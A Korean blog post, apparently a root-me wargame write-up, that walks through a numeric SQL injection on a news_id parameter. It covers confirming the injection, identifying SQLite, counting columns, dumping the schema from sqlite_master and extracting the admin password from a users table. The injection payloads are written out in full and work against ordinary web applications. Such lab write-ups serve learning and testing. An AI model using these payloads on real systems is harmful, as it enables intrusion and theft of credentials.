반응형

SQL Injection문제입니다.  관리자의 패스워드를 알아야하는 문제군요.



스크린 샷을 찍지는 않았지만, 문제를 들어가보면 메뉴가 3개가 나와있습니다. 그 중 첫번째 메뉴를 클릭하면 URL상에 파라미터가 action=news&news_id=1 이 전송됩니다.

문제 이름이 numeric인 만큼 news_id 파라미터가 매우 의심이 가는데요, 


1. ?action=news&news_id=2-1 << 시도해보았습니다.

결과 ; 에러 출력 없이 첫번째 메뉴가 정상적으로 열람되는 것을 보아 정수형 SQL Injection이 가능하다는 판단을 내릴 수 있습니다.


2.  ?action=news&news_id=1' << 이번에는 SQL Injection의 기본 형태인 싱글쿼터(')를 삽입해보았습니다.

에러 메시지로 SQLite3 데이터 베이스를 사용하고 있다는 것을 알 수 있습니다. 또한, '가 \로 치환되어 인식이 안된다는 것도 알 수 있군요..


3. 필드 갯수 구하기 ?action=news&news_id=1 order by 1-- 

                          ?action=news&news_id=1 order by 2--

                                ?action=news&news_id=1 order by 3-- 
                                ?action=news&news_id=1 order by 4-- << 에러 출력

order by 구문을 이용하여 필드의 갯수가 3개 인 것을 알 수 있었습니다. (order by 4--를 시도하면 에러가 출력되기 때문입니다.)



※ order by 구문과 동일한 역할을 하는 것이 union all select 구문입니다.

?antion=news&news_id=1 union all select null;

?antion=news&news_id=1 union all select null, null;

?antion=news&news_id=1 union all select null, null, null;

?antion=news&news_id=1 union all select null, null, null, null; << 에러 출력

null 인자를 하나씩 추가하여 필드 갯수 파악이 가능합니다.


4. sql query 문을 이용한 스키마 정보 파악 ?action=news&news_id=1 union select 1, sql, 3 from sqlite_master--

에러 메시지를 통해 sqlite3 데이터베이스를 사용하고 있다는 것을 파악했고, 찾아보니 sqlite의 데이터베이스의 스키마를 sqlite_master 테이블에 저장하고 있다고 하네요.

union select 구문은 컬럼 갯수를 맞춰야 하므로 1, sql, 3 으로 설정해서 sql 필드 정보를 알아보았습니다.

※ sql 필드에는 데이터베이스 생성 시 사용된 스키마 정보 중 테이블을 생성하는 CREATE TABLE 구문이 저장되어 있습니다.

결과를 보니 저희에게 필요한 테이블은 users 테이블이고, username과 password 컬럼을 출력해주면 되겠군요!!


5. username, password 출력 ?action=news&news_id=1 union select username, password, 3 from users--

마지막 작업 입니다.

users 테이블에서 username과 password(year라는 컬럼이 하나 더 있으므로 3 추가) 해주면

결과가 출력되었습니다!!~~


admin의 패스워드가 flag 값입니다. 


반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] PHP filters  (0) 2019.01.16
root-me >> SQL injection - blind  (0) 2018.06.08
root-me >> Command injection  (0) 2018.04.24
root-me >> HTTP Header  (0) 2018.02.23
root-me >> SQL injection - authentication  (0) 2018.02.22

+ Recent posts